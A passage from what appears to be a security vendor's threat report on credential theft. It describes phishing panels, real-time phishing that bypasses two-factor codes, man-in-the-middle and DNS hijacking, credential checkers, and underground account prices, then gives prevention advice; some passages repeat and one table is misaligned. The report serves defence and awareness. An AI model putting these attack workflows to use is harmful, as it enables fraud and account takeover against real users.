An example of this would be the Fresh panel, whose webinjects are tied to different banking malware types like Citadel, Tinba and Zeus Panda. The Fresh panel is written in Ruby and has a simple look and feel. The fraudsters behind these panels insert the Fresh Javascript code, normally used in webinjects, into the phishing pages. When a user enters their credentials in the fake form, the user and password together with the page location is sent via POST request to the panel. In this way, the credentials are stored in a database and are also logged in a specific page of the panel.
Organizations which protect their users using 2FA with TAN codes or hardware tokens are still vulnerable to real-time phishing.

Fig 22. Javascript code used to send credentials to the Fresh panel

Fresh is an ATS panel where the mules can also be configured. For phishing, it is used to store the credentials and log the activity. Even if using Fresh for phishing is a smart move, it seems to be overkill in that only a small portion of its functionalities are used.

Fig 23. Fresh panel logs showing phishing activity

It should be noted that many banks which protect their users using two-factor authentication (2FA) with TAN codes or hardware tokens are not vulnerable to this sort of phishing attack. To bypass this security barrier and continue making money, more advanced attackers use real-time phishing.

Real-time phishing can be seen as a natural evolution akin to banking trojan advances. The likes of Vawtrak, Dridex, Dyre and now TrickBot have bypassed 2FA thanks to
specific control panels used by their operators. When victims visit online banking and insert their credentials, the trojans send a ‘Please wait…’ message to them. In the background the credentials are sent to special control panels, whose operators start a new banking session, then prompt the victim to enter additional details to perform a transfer. Once the user enters these details, a fraudulent transfer can be made and the malicious operation is successful.

Some advanced attacks have control panels used by their operators. When victims visit online banking and insert their credentials, the trojans send a ‘Please wait…’ message to them. In the background the credentials are sent to special control panels, whose operators start a new banking session, then prompt the victim to enter additional details to perform a transfer. Once the user enters these details, a fraudulent transfer can be made and the malicious operation is successful.

**Fig 24. Real-time attack performed by botnet operators**

In the case of real-time phishing the same workflow is used. However, instead of originating with the online banking page and the banking trojan, it is initiated by the phishing page combined with additional step to bypass 2FA. Phishing-specific control panels are created for this purpose, rather than simply reusing the banking malware panels.

Some advanced phishing attacks configure the panels so that they dynamically change the response of the phishing pages themselves, displaying a waiting message to the victims and adapting the next steps according to the response the operator receives from the banking session. This approach is significantly more impactful than more traditional phishing kits.

### 3.2.3. SMISHING

Phishing via SMS messages is known as **smishing**. Using social engineering techniques, the malicious message instructs the user to call a number or visit a link. In the case of a call, most of these are automatic voicemails requesting PII. In the case of a link, similar traditional phishing tactics are employed to collect a wide range of personal information. In some countries the use of SMS messages is not so widespread, so other kinds of delivery methods are employed, such as Skype, Facebook, WhatsApp, etc.
3.2.4. VISHING

Vishing uses automated Voice over IP (VoIP) calls, using social engineering techniques with the objective of asking the victim for financial credentials, passwords or other kind of personal information. It is more common seeing vishing used to collect credit card details, so the fraudsters can quickly monetize the scam.

3.3. MAN-IN-THE-MIDDLE ATTACKS

Credentials can be harvested in a variety of ways, many of which are reliant on exploiting technical vulnerabilities. Others are a result of monitoring and targeting the user's communications channels. One notorious example is the so-called Main in the Middle (MitM) attacks. Here, the attacker acts as a proxy between the victim and the legitimate service to which the user desires access. This can involve modifying the communication between the parties or passively monitoring the communication.

At the network level, in order to intercept traffic additional attacks might be needed like ARP poisoning, depending on the network topology. In the case of HTTP MitM attacks, if the website does not use HTTPS, simply sniffing the network traffic will be enough to intercept the information transmitted through the communication channel.

When encryption is used then techniques such as SSL Strip can help an attacker steal credentials. Another common attack vector is redirecting the user to a phishing page instead of the desired legitimate page. This is possible as a result of the control the attacker has over network communication, being able to send illicit DNS responses to the targeted computer. Typical scenarios where this kind of attacks happen include fake WiFi hotspots (also known as ‘Evil Twins’), cybercafés or computers located in public places like libraries. After a network intrusion, MitM attacks are also quite common.

Another kind of MitM attack is performed at server level. Some online services offer proxies or VPN connections that users can use to navigate more anonymously. However, a potential risk is that some companies use them to intercept traffic and steal users’ credentials as it is transmitted through their servers.

3.4. DNS HIJACKING

A sizeable number of companies use third-party services to manage the DNS records of their domains. These companies allow their customers to add, modify or delete their DNS records, like domain resolutions, MX records, aliases, etc.

A DNS hijack occurs when an attacker is able to modify the legitimate DNS records and configure IP addresses under their control, so a DNS resolution of a legitimate domain like www.blueliv.com will resolve to the malicious IP address instead of the legitimate IP address. This can be accomplished stealing the credentials of these services, contacting the companies to try to impersonate the real owners and take over the account or finding a flaw in the targeted system. Once this is done, the attackers will try to perform Man in the Middle (MitM) attacks or configure phishing pages to steal specific credentials. In this case, the DNS hijack is performed at DNS server level.
and will have a much broader impact than a hijack at computer level, since it is able to target a larger amount of victims.

Other types of DNS hijacking are performed by specific malware families at host level. Certain malware families configure API hooks in specific functions like DnsQuery to intercept a legitimate DNS response, modify it to include a malicious IP address and return to the normal execution flow. In this way the malware performs a transparent redirection of the application to the malicious server, normally hosting a phishing page. This technique is used by Ramnit’s DNSChanger and was used by Conficker.C to block the resolution of domains belonging to specific security vendors from an infected computer.

### 3.5. Vulnerabilities in Systems and Websites

Often, attackers scan the Internet to find easy targets which they can compromise. Most of the time they look for well-known vulnerabilities or misconfigured systems. When they target websites they usually try to exploit SQL vulnerabilities and security problems allowing them to execute code, read source code and upload or modify files.

In the case of SQL injections, attackers try to extract credentials to administrate the Content Management System (CMS) or download the whole database directly. In the case of vulnerabilities which allow modification of the website files, attackers could add specific code in the server or client side in order to extract credentials and send them to a control panel, e-mail address, FTP server, etc. Magento is one example of an e-commerce platform where malicious Javascript code was added to steal credit cards from related e-commerce websites.

While malware infections are one of the most important attack vectors for compromise, vulnerable or misconfigured systems also present an open door for cybercriminals. Once inside the infrastructure, lateral movement techniques may be used to maximize the impact of the breach, gathering credential information. Databases are high risk, since they may contain a huge amount of credential information for multiple users – whether these are employees, customers or third parties.

These stolen databases are exchanged and/or sold in private forums or private IM conversations between threat actors. Depending on the targeted website or company the database could contain millions of credentials belonging to the registered users. Some of these databases end up being leaked publicly too.
3.6. BRUTE-FORCE AND DICTIONARY ATTACKS

A brute-force attack attempts to guess valid logins, gain access to a network and harvest credentials such as passwords and hashes. It is called a brute-force attack as it is an attempt to discover a password by systematically trying every possible combination of characters until the correct combination allows access. Depending on the complexity of the password, however, there could be billions of different permutations, so often attackers commence with words that can be found in the dictionary, or slightly modified ones – most people use these rather than completely random passwords. A number of users still use easy and common passwords like “12345”, “admin” or “password”, but according to our research the figure for these is no great than 2% of the total of passwords used.

![Fig 26. Most used passwords based on credentials recovered for our customers]

As more leaked databases are found on the Internet or in underground forums, it is common to see attackers trying their credentials to log in to different online services by reusing passwords. An attack tool which is becoming increasingly prevalent are account checkers, which take lists of already-compromised login credentials and tests them against certain targeted websites – otherwise known as credential stuffing. Packages are cheaply available online, reducing the technical burden required to attack.

It should be noted that the quality of credentials from leaked databases is generally lower than those exfiltrated by malware. The latter provides fresher credentials, rather than those which are leaked: these usually include a high number of outdated passwords which are not useful to the attackers.
Non-technical methods also put credentials at risk: from social engineering to shoulder-surfing to simply leaving post-its lying around.

3.7. NON-TECHNICAL METHODS

There is a number of other non-technical methods which expose credentials. For example, strangers ‘shoulder-surfing,’ or standing close enough to observe a financial transaction, remains quite a widespread issue. Even more basic is simply sharing passwords and other credentials with others in the physical world – such as on a post-it or similar. Mobile devices are particularly at risk, with users often conducting sensitive transactions in public places – you never know who is watching!

Furthermore, there have been instances of hackers targeting security cameras which overlook certain areas of sensitive activity, such as ATMs, public WiFi spots etc. Attackers may be able to steal credentials by observing images stolen from closed-circuit cameras.

Social engineering is the psychological manipulation of victims and generally is a non-technical technique whereby the bad guys harvest credentials. It relies on human interaction and tricks people into breaking the security protocols they usually abide by. For example, attackers may attempt to trick victims into offering access to sensitive information through phone calls, social media and even meeting company employees in person. This kind of technique when performed without automation or digital activity is usually performed in targeted attacks.
What are criminals doing with the credentials?
4. WHAT ARE THE CRIMINALS DOING WITH THE CREDENTIALS?

In the previous section we described the variety of different ways credentials are stolen by cybercriminals; but what’s happens next? All these credentials are stored in databases, e-mail accounts, files and now it’s time to use them.

First of all, they need to be extracted and/or filtered, depending on the objective. Assuming a proper backend is configured, storing credentials in C2 databases allows the attackers to perform complex queries and mine the data to find the proverbial needle in the haystack. After the extraction phase, the criminals might need to double check that stolen passwords are still valid. This can be performed using credential checkers or even bots to ‘delegate’ the task. After this step, it's time to try to monetize the stolen credentials.

Depending on the objective, it’s possible that the bad guys create batches and try to sell them in underground markets, or they search for specific credentials types (e.g. FTP or CMS accounts) to perform additional attacks like defacements or configuring transparent redirections to Exploit Kits. More advanced attackers may look for credentials belonging to specific organizations to perform more targeted attacks, which can have a massive financial and reputational impact on the companies. This is one of most worrisome risks when it comes to credential risks – a door left open to breach in an organization.

4.1. FILTERING & EXTRACTING

Stolen credentials can be stored in databases configured in the C2 panels, or in other cases collected in e-mail or FTP accounts, plain text files, etc. There are considerable differences in using these storage options: in the case of databases, extraction is often automated and fairly painless; other methods require manual search and extraction by the attackers. However, just because credentials are stored in a database doesn’t imply simply management. It fully depends on the kind of backend used by the cybercriminals many have evolved over time and present a variety of challenges.
Stolen credentials can be stored in databases configured in the C2 panels or collected in e-mail or FTP accounts, plain text files and similar.

Cybercriminals are taking advantage of improved versatility in panels to mine stolen credential big data more efficiently.

Banking Trojans like Zeus and SpyEye did not always have a complex search engine to collect and index all the data they were stealing. They focused on banking credentials, but thanks to form-grabbing many other credentials were being stored in their backends too. This lack of technology server-side presented problems to the botmasters who were unable to filter correctly, and sometimes the primitive databases even crashed due to the huge amount of data stored.

Some of the stealers mentioned in the previous section don’t use particularly advanced control panels, but it is possible to search for specific credential types like FTP, e-mail or IM, offering more options than before.

In some cases, exporting the filtered data is not possible. However, other panels allow this option and it is much more convenient for the criminals.
When the credentials are known to be fresh and likely to be valid, this first step (filtering and extracting) may not be necessary.

Fig 29. Control panel showing an exporting functionality

Nowadays, more advanced malware types like TrickBot or Dridex use different backends depending on the attack they are performing, discovered by analyzing their configuration files. This means that not all of the information is stored in the same database attackers addressed the pains older backends were causing and improved the search and filter functionalities for stolen information. This makes these botnet backends really powerful and versatile, and they can be used for additional purposes than simply targeting financial institutions. Cybercriminals are now able to take advantage of these improved panels to target even more organizations than before, thanks to the ability to mine all this big data.

Fig 30 Advanced report filters in Dridex panel
Credential validation is usually automatic when a large number of credentials is involved.

Online account checkers, standalone executables which check specific target accounts and some botnets are used.

4.2. VALIDATING

Depending on the source of the credentials, this step can sometimes be omitted. When the cybercriminal knows if the information is fresh and quite likely to be valid, then this step is not necessary. This is the case of targeted attacks, where the attackers have just exfiltrated system credentials and try to connect to the compromised systems immediately. Equally, it can be omitted where administrators can export recently stolen credentials from botnets, instead of a mix of old and new information.

However, where criminals source the credentials from other criminals online or using leaked databases, this step is necessary to avoid wasting time and resources. Credential validation can be performed in different ways, but is usually automatic when a large number of credentials is involved. Online account checkers, standalone executables which check specific target accounts and some botnets are used with this objective.

Standalone checkers are normally built to check accounts belonging to a specific target, but it’s also normal to see the same checker being built and sold separately for different targets. There are also frameworks used to target multiple targets at once. Common targets are financial institutions, online service providers and retailers. Usually, these applications need to be supplied with a list for usernames and passwords in a specific format, which can be configured against the URL to be checked, the request rate, error and/or successful response to know if the account is valid or not, a list of proxies or a proxy service API token to hide the real IP address, etc. Some of these tools include functionalities which bypass CAPTCHA and perform brute-force attacks against invalid accounts. This kind of application is not normally used by advanced threat actors, but by less-skilled criminals.
Credential-checking functionality is normally present in spambot botnets, used to distribute traditional spam but also malware. In these cases, botnets use stolen credentials to send spam messages but a previous validation of the credentials is able to make this process more efficient. For this reason, a module to validate the password provided together with the e-mail address is usually included. However, this check is not done on the server-side; the module distributes a set of credentials to the bots to check them, receiving the results and filtering out credentials which didn’t pass validation. The valid credentials are then ready to send the spam messages. Onliner Spambot is one example of this kind of botnet.
4. WHAT ARE THE CRIMINALS DOING WITH THE CREDENTIALS?

4.3. PROFITING

In this final phase, cybercriminals try to make a profit out from the stolen credentials. We can distinguish different ways of monetization, separating them between ownership transfer through a sale versus the direct use of credentials.

In the first case, criminals try to sell stolen accounts in underground forums or markets, offering their use to a third-party. This also occurs with credential sharing between criminal groups. It is a fact that cybercriminal groups with fewer resources share credentials with more professional groups who can perform more advanced and targeted attacks against the compromised organizations. This could be done without any direct or economic profit for the initial owners, but simply to maintain a good relationship and perhaps call in a favor later down the line.

In the case of direct use, they might access the accounts directly and steal PII information or use them as a ‘tool’ to perform additional attacks. Examples of this are targeted attacks, CEO fraud (commonly known as Business Email Compromise or BEC), massive website compromises to inject Javascript code, etc.
Monetizing stolen credentials can be either through transfer of ownership or directly using them for illicit activity.

### 4.3.1. CREDENTIAL TRADING

Generally, this method of monetization is far less sophisticated. Threat actors with fewer resources and/or skills try to quickly compromise the accounts, even if this is less benefit to them. Credential trading does not involve a direct use of the stolen accounts, but a transfer of ownership where the final owner will use them.

There are a number of markets, forums and websites where someone can sell and buy credentials. Some of these sites are ‘hidden’ on the Dark Web, but others are on the visible part of the Internet (or clearnet). There are specific markets for credentials and other more general markets which mix credentials with services and materials like malware kits, credit cards, medicines, drugs, weapons, ID documents/passports, etc.

Currently, the most famous marketplaces of this type are active on the Dark Web due to the amount of illegal material sold there. The clearnet markets are not as famous as darknet markets and their activity is concentrated in forums where users buy accounts using private messages (PM). The use of Selly and Rocketr accounts is quite common too, where anyone can sell using their own trading URL.

Fig 34. Selly seller advertising different account types

Both clearnet and darknet markets are always changing domains to survive potential takedowns and police operations. However, we also find scammers who create clones of the underground markets with the same name, but changing the domain TLD in order to make users think they are the real site.
In these markets, there are three types of credentials on sale, depending on the public to which it is addressed:

- **Services accounts**: The trading of accounts such as Netflix, Spotify, HBO, pornography, sport streaming services and gaming accounts is very popular currently. These types of credentials are focused on the general public who want to use these services but pay less.

- **Hosting accounts**: Credentials on hosting sites, FTP services, VPS, etc. are consumed by scriptkiddies or criminals who want the sites to perform their illegal activities.

- **Corporate accounts**: These types of credentials are rarely found in markets. Usually trade is conducted through personal relationships via instant messengers or private messages in forums, where people can contact directly a ‘specialist’ to buy the information, or hire them to attack a specific corporation. It is easy to find leads in markets where people sell people contact information of different corporations.

Selling credentials in underground forums and markets is probably the easiest way to get rid of a large number of stolen passwords. This does not mean that the operation will be profitable though, since a single credential might not cost above $10 on average. If the amount of credentials is really significant it might be good business for the criminal. The price of a single credential depends on its type, the information and balance associated to the account and the specific targeted organization among other factors.

In general, the stolen credentials which tend to be bought by non-professional actors are those accounts belonging to streaming (clearnet) and pornography sites (darknet). However, more juicy credentials like system or banking credentials which can report a bigger benefit for the buyer are normally more expensive and used by more skilled
Stolen credentials which tend to be bought by non-professional actors are those belonging to streaming and pornography sites.

System or banking credentials are more expensive and the most important are rarely sold publicly.

Depending on the account type, the real owner and the attacker, the possibilities to profit from the credentials or impact target organizations vary enormously.

More advanced threat actors look for more juicy objectives, even if this means investing more time. Less-skilled attackers will try to quickly make a profit.

attackers. Often, really important credentials are not even sold publicly but deals are closed privately.

On average, a user and password for a porn site costs $5, while prices for services like Netflix or Spotify are around $9. Regarding social networks, there is a clear difference between Facebook credentials, priced around $9, and Twitter or Instagram accounts which have lower prices, usually around $2. Credentials related to e-commerce like Amazon or Ebay are sold for $9 on average.

The cost of bank account credentials vary significantly, depending on where they are sold and the balance they contain. An account sold on TOR markets can go from $10 when the balance is lower than $1,000 to more than $300 when the balance is higher than 10,000$. Accounts advertised with a balance of $500,000 would cost $25,000. It is important to keep in mind that advertisements on Dark Web markets could easily be scams. On the clearnet, prices don’t usually have such variation: we can find accounts with balances below $50,000 sold for $35 on average, while higher balance accounts might cost between $50 and $100. Empty balance accounts are also sold, with a price of approximately $4.

<table>
<thead>
<tr>
<th>Type</th>
<th>Financial Darknet</th>
<th>Financial Clearnet</th>
<th>Payment Providers</th>
</tr>
</thead>
<tbody>
<tr>
<td>Retailers &amp; e-commerce</td>
<td>$9</td>
<td></td>
<td>$2-$25</td>
</tr>
<tr>
<td>System Administration</td>
<td>$3-45</td>
<td></td>
<td></td>
</tr>
<tr>
<td>E-mail</td>
<td>$3</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Gaming</td>
<td>$4</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Social networks</td>
<td>$1.50/$9</td>
<td>$3.50/$8.50</td>
<td></td>
</tr>
<tr>
<td>Remote Desktop (RDP)</td>
<td>$5-80</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Streaming</td>
<td>$2/$9</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Dating</td>
<td>$3.50/$8.50</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Pornography</td>
<td>$5</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Fig 36. Underground pricelist per credential type
Not all types of stolen credentials can be sold in underground markets. The massive popularity of certain social networks and web services makes them a more likely target for credential theft. According to Blueliv credential recovery data, social network credentials are the most broadly used, followed by e-mail and web service providers, and retailers and e-commerce.

![Fig 37. Overview of stolen credentials per credential type](image)

### 4.3.2. DIRECT USE OF STOLEN CREDENTIALS

In some cases, cybercriminals try to access stolen accounts directly to find out how they can monetize each of them. If they bought them in underground markets then they will probably have already an idea about the account because of the way it is advertised.

More advanced threat actors look for more juicy objectives, even if this means investing more time. Less-skilled attackers will try to quickly make a profit. In any case, they need to verify the importance of the stolen accounts and log in, normally using anonymous connections to avoid being tracked back by the target organizations. Depending on the account type, the real owner and the attacker, the possibilities to profit from the credentials or impact target organizations vary enormously.

#### 4.3.2.1. Social networks

Personal social network accounts belonging to individuals are typically used to perform spam and phishing campaigns or spread malware. However, depending on material found by the criminal and whether the account belongs to a famous or important person the attacker might choose to blackmail the target to obtain an economic benefit. Beside the risk of blackmail, if a company is the owner of the account it is possible for the attacker to impersonate the organization and publish content in its behalf, leading to reputational damage. An example of this might be a successful...
Credential theft can lead to fraudulent transactions at the user level, but professional criminals can also use retailers and e-commerce to launder money. This costs retailers a significant amount each year.

4.3.2.2. Retailers and e-commerce

Having access to an account of a retailer or e-commerce company normally allows the attacker to perform purchases using the stolen account balance or configured payment method. Depending on the balance and how quickly purchases are done the loss will have a different impact. Each retailer or e-commerce will have its own policy in case of fraudulent transactions, but normally reporting it as soon as it happens could help to recover most of it (chargeback). In the other hand, if the victim reports this quickly but the purchase is already shipped, then the company will lose money here, which will cause a big impact if many customers do it. This kind of attacks is usually carried out by threat actors who want to get a quick win from the stolen credentials. It is not common to see this from advanced threat actors, as they would use these accounts for a different purpose. However, this kind of attack costs retailers and e-commerce companies a good amount of money, which increases every year.

Professional cybercriminals might use those accounts to transfer stolen money there or use stolen credit cards to purchase goods, shipping them to mules who will reship the goods to an anonymous postal address belonging to the bad guys (reshipping). This is a way for criminals to launder their money, transforming the ‘dirty’ money from illicit activities into goods that they can resell in legitimate markets to obtain ‘clean’ money. This will not have a high impact in the account owner, as long as they use their own ‘dirty’ money, but it could involve the victim in a police operation and they might need to prove themselves innocent.

Depending on the retailer or e-commerce organization, additional fraudulent activities could be performed once the attacker has access to an account, such as taking advantage of reward points or gift cards. In the case of gift card fraud, for instance, the attackers obtain a gift card number with a certain amount of money that they can...
Website admin credentials are often used for defacement and protests, resulting in negative reputational impact, but can also be used to harvest additional credentials by script injection, or hijack processing power to cryptomine.

4.3.2.3. Website administration

Stolen credentials allowing the administration of websites like FTP or Content Management System (CMS) accounts are a powerful tool which can cause a lot of damage to the owners. Those accounts are used by hacktivists and script-kiddies to perform defacements of public pages, to protest against a specific subject or just to prove that the group is able to attack any website. Hacking groups compete between themselves to see who can perform more hacks. This kind of attacker will normally automate the attacks and always sign their actions. There is the obvious negative reputational impact for the compromised company, due to the public exposure of the attack.

Fig 39. Defacement of the Ohio government website

Other attackers use the site administration access to inject additional Javascript code, allowing them to keep stealing credentials or credit cards. Cybercriminals can also use code injection to configure hidden iframes and transparent redirections of the users to Exploit Kit landing pages where the victims are infected with the chosen malware. Recently, due to the growing popularity of cryptocurrencies, mining code has been spotted in compromised websites, making the visitors mine virtual currencies in behalf of the criminals.

Finally, having access to the management of a website offers a possibility of replacing files from the server. Here, cybercriminals can use access to spread malware instead of legitimate software to backdoor or weaken the downloaded software – this makes compromising users installing the program much easier. This technique could be used by intelligence agencies too, in order to spy on specific individuals. As an organization
Financial services credentials often need additional compromise to get around 2FA.

Stolen credentials online can lead to cashing out in the real world by modifying the victim’s address and requesting a new card, or for money laundering purposes.

They can also be used in pump & dump schemes, where criminals buy cheap stocks and take over accounts, inflate share prices then sell them off for profit.

Sensitive information held by insurance companies can be sold in underground markets and lead to blackmail and even kidnap.

Targeted by file replacement or injection of code the main impact is reputational.

4.3.2.4. Financial

The impact of credentials which grant access to online banking really depends on security measures implemented by the bank. If two-factor authentication is used to protect the most important operations like wire transfers, personal information modification, credit card management, etc. then the impact is relatively low. However, if security barriers are not strong enough or the compromise is complemented by a stolen e-mail account or a mobile infection, then the chance of suffering a fraudulent transaction is higher.

Another way to profit from banking credentials is to modify the victim’s address and request a new credit card, which can then be used to buy goods, withdraw money from ATMs and other operations. If cashing out is possible then the compromised account may be used as a money mule for laundering purposes.

Trading or brokerage accounts can be used in pump & dump schemes and other forms of trading fraud. In the case of pump & dump, criminals buy cheap stocks and take over accounts to buy shares in the same company to inflate prices. When the price is high enough, the criminals sell and make a profit from those shares.

4.3.2.5. Payment providers and cryptocurrency exchanges

This sector faces similar problems to banks and retailers/e-commerce. Cybercriminals try to use current balances or configured payment methods to make purchases and money transfers, while more advanced attackers try to use the accounts for money laundering.

Stolen cryptocurrency wallets or cryptocurrency exchange credentials lead to a potential loss of the coins associated to the accounts, which could have a huge impact on its victims. An example of this occurred in February 2018 when attackers used Google Ads, typosquatting and phishing techniques to steal more than $50 million from Blockchain.info users’ wallets.

4.3.2.6. Insurance

Cybercriminals can use insurance accounts for several different types of fraud. For example, they might change payee information to receive insurance refunds, rather the legitimate policy holder, or use a stolen account to fill in false claims. Besides that, access to sensitive information stored in those accounts can be used to be sold in underground markets or even blackmail or kidnap the owners. Although kidnapping could be seen as a bit extreme, in some countries insurance information has been used to choose wealthy victims, kidnap them and ask for a ransom.

Depending on the insurance company and the country where it is located, insurance fraud can impact the policy holder or the insurance company, although in most cases it’s the company that takes the hit.
4.3.2.7. Entertainment

Credentials related to services focused on providing leisure to customers are also misused by criminals, including streaming, gaming, dating and porn accounts. The attackers tended to be non-professional, simply people looking for free access to services like Netflix, Spotify or HBO. Usually, the individual impact here depends on the account type, but it is normally low and affects individuals more than businesses. The company owning the service has an economic loss due to the fact that those users are not buying the service, but reusing existing accounts.

4.3.2.8. System and network authentication

Attackers with a low-level profile may use system access like compromised RDP, VPN or hosting accounts to use them as a hop, anonymizing their criminal activities. They could also install malware through this RDP connection.

However, more advanced attackers use this access as an entrance into a target company. Having access to a compromised machine inside an organization allow the attackers to move laterally using red teaming tools, steal additional system credentials and install stealthy malware. Depending on the target an advanced threat actor can adapt tools, techniques and tactics to make the most of the intrusion, possibly ending in data breach, a high-cost digital heist or theft of confidential information. The impact of this kind of attack for an organization is really high as it could lead to the close of business for the company.

4.3.2.9. E-mail

Similar to social network credentials, compromised e-mail accounts can be used to perform spam and phishing campaigns and distribute malware too. Spam campaigns are one the most widely-used methods of compromise, often accomplished using stolen e-mail accounts. Some spambots, such as Geodo/Emotet, automatically steal e-mail credentials to continue performing malicious activity. In this case, impact is relatively low and it's possible the account is blocked, but it is not a high risk for an organization.

When an e-mail account belongs to a director of a company however, there is a high chance that it is used to carry out CEO fraud (also known as BEC attack). Here, a compromised account is used by attackers to impersonate the executive and urge employees to make a transfer. Another possibility is that the account is used to send malware to the recipient, leading to a targeted attack and possibly ending up in a serious intrusion. The impact in the case of CEO fraud can be very high if the attack is successful, and many different sectors are known to have been targeted using this technique.
The financial impact of a BEC attack or CEO fraud can be extremely high.

Compromised accounts are used for impersonation to make fraudulent transactions, or the account is used to spread malware.

Access to e-mail accounts can lead to identity theft, blackmail and cyberespionage.

Other impersonations may lead to identity theft if the attacker tries to perform account takeovers in services where the compromised account is used to recover or reset the password. This is a serious problem because it is difficult for the victim to recover access. For companies, this may also lead to further attacks, due to the fact that the number of compromised accounts is higher than before, and therefore the attack surface much wider.

Finally, depending on the confidentiality and importance of the information stored in the e-mail account, the credential theft may end up used for espionage or blackmail.

**4.3.3. CYBERCRIMINALS’ OBJECTIVE AND BUSINESS IMPACT**

Different kind of accounts offer different possibilities to attackers. However, the attacker’s final objective and their impact on individuals and organizations can be summarized in the following points:

<table>
<thead>
<tr>
<th>E-mail</th>
<th>Social Networks</th>
<th>Retailers e-commerce</th>
<th>Website Admin</th>
<th>Financial</th>
<th>Payment Crypto</th>
<th>Insurance</th>
<th>Entertainment</th>
</tr>
</thead>
<tbody>
<tr>
<td>Fraud</td>
<td>X</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>PII Sale</td>
<td>X</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Blackmail</td>
<td>X</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>X</td>
</tr>
<tr>
<td>Crimeware</td>
<td>X</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Reputational Damage</td>
<td>X</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Hacktivism</td>
<td>X</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Identity Theft</td>
<td>X</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Espionage</td>
<td>X</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>System and network authentication</td>
<td>X</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**Fig 41. Credential usage by the attackers depending on the credential type**
THE CREDENTIAL THEFT ECOSYSTEM – 4. WHAT ARE THE CRIMINALS DOING WITH THE CREDENTIALS?

Credentials are used for:

- Fraud
- Underground sale
- Blackmail
- Crimeware
- Reputational damage
- Hacktivism
- Identity theft
- Espionage

Fraud
Different kinds of fraud can be performed when an account is taken over, from transfers and purchases, to money laundering and insurance scams. In some specific cases the account can be used to perform fraudulent actions like following profiles on social networks.

Underground Sale
Having access to stolen accounts or breached data means having access to valuable personal information (PII) to be sold in underground markets. In some cases, after a large-scale data breach, credentials and credit card information can also be sold on in batches in specific underground shops, often controlled by the same attackers.

Blackmail
Another important consequence of account takeovers is blackmail. With access to accounts or systems, sensitive and confidential information is not sold but ransomed to the legitimate owners.

Crimeware
Cybercriminals use mainly e-mail, system and social network credentials to distribute malware, perform phishing campaigns or infect websites to add malicious content.

Reputational damage
This may be the main objective of a criminal or a competitor, who will use the access to the stolen account to harm the image of a person or company. It is also a secondary consequence of some other criminal objectives like crimeware or hacktivism.

Hacktivism
Hacktivists can perform defacements, expose controversial company intrusions or impersonate well-knowns people on social networks. This may have a secondary reputational impact too.

Identity theft
It’s usually too late when the victim realizes their identity has been stolen, and it becomes increasingly difficult to prove. Consequences include fraud, financial loss and reputational damage.

Espionage
This point covers the use of stolen accounts to spy and gather information from legitimate owners. It ranges from individual to corporate to nation-state operations. Nation-state espionage may directly impact the politics and strategy of a targeted country.
THE CREDENTIAL THEFT ECOSYSTEM – 4. WHAT ARE THE CRIMINALS DOING WITH THE CREDENTIALS?

Attacks' objectives

Fraud

Transfers

Sales

Blackmail

Crimeware

Reputational damage

Identity theft

Espionage

Money laundering

Insurance

Social network followers

Credit cards

PII information

Credentials

Website infection

Phishing campaign

Malware distribution

Corporate

Personal

Purchases

Personal use

Corporate

Personal

Fig 42. Business impact of different attack types on organizations. Multipliers denote the level of impact.
Protection against credential theft
5. PROTECTION AGAINST CREDENTIAL THEFT

5.1. PREVENTING CREDENTIAL THEFT

As with many aspects of cybersecurity, education is key to mitigating attacks. Do all employees know how to recognize a phishing email, for example? Under no circumstances should an opsec team be the only group within a company that knows how to identify potentially malicious activity. The ability to recognize when credentials might be compromised can save a huge amount of pain and financial loss.

The key, generally, is constant vigilance, and any request for credentials should be treated as guilty until proven innocent. It may appear that the responsibility rests on the user ultimately rather than the technology – and this is true. The end user is both the weakest and strongest link in the chain, and a ‘human touch’ complemented by TI is often the best way of protecting an organization. Indeed, in the case of phishing, for example, escalation processes to validate email requests ensure that there is always a point of human verification.

Using threat intelligence services can significantly reduce the damage caused by credential theft. Blueliv’s MRTI feed arms users with ultra-fresh data to protect assets and eliminate blind spots in the threat landscape. Predictive and actionable intelligence enables organizations to block potential intrusions at the firewall level, plugging holes before an attacker can get in.

More targeted modules can also work to prevent attacks. For example, aggressively hunting malware aimed at your organization, through robust and continuous analysis of samples in the wild, enables forensic reporting on behaviors that could compromise your network and result in credential theft. There are also counterintelligence modules that combat phishing attempts by proactively detecting campaigns before they can have a significant impact. Analysis and reporting on these potential attacks can then be shared with employees in an education drive to ensure that they, and your organization, do not become victims.

5.1.1. CYBER-HYGIENE

Continuous cyber-hygiene within your organization can help prevent attacks, as well as mitigate their impact if and when one happens. Setting the appropriate alerts which detect intrusions can offer some protection, but an ongoing process of pentesting and patching is crucial for safeguarding your company credentials. The bad guys are constantly testing new ways to exploit your infrastructure, so remaining static when it comes to your security protocols is a sure-fire way to get breached.

Aside from bolstering your perimeter from the outside in, it is also important to keep your internal systems and processes secure. For example, employees should be made aware that it is bad practice to use the primary domain or local admin accounts for general use. These accounts have a huge amount of privileges, and if an attacker can take control, the entire network could be compromised. It is best to leverage accounts which have the least privileges needed to carry out the work required.
5.1.2. PASSWORD PROTECTION

Password reuse is also an issue that can be addressed quickly and falls into the bucket of cyber-hygiene. Automated credential stuffing means that once an attacker has one password, it can be very quickly tested on other domains to compromise your systems further. A quick fix to this is to simply avoid reusing passwords.

Additionally, sharing credentials between parties doubles your risk. Practically speaking this is often to save time and money (sharing subscriptions internally at a company, for example) but exposing credentials even internally means that there is a greater chance of compromise.

5.1.3. RED TEAMING

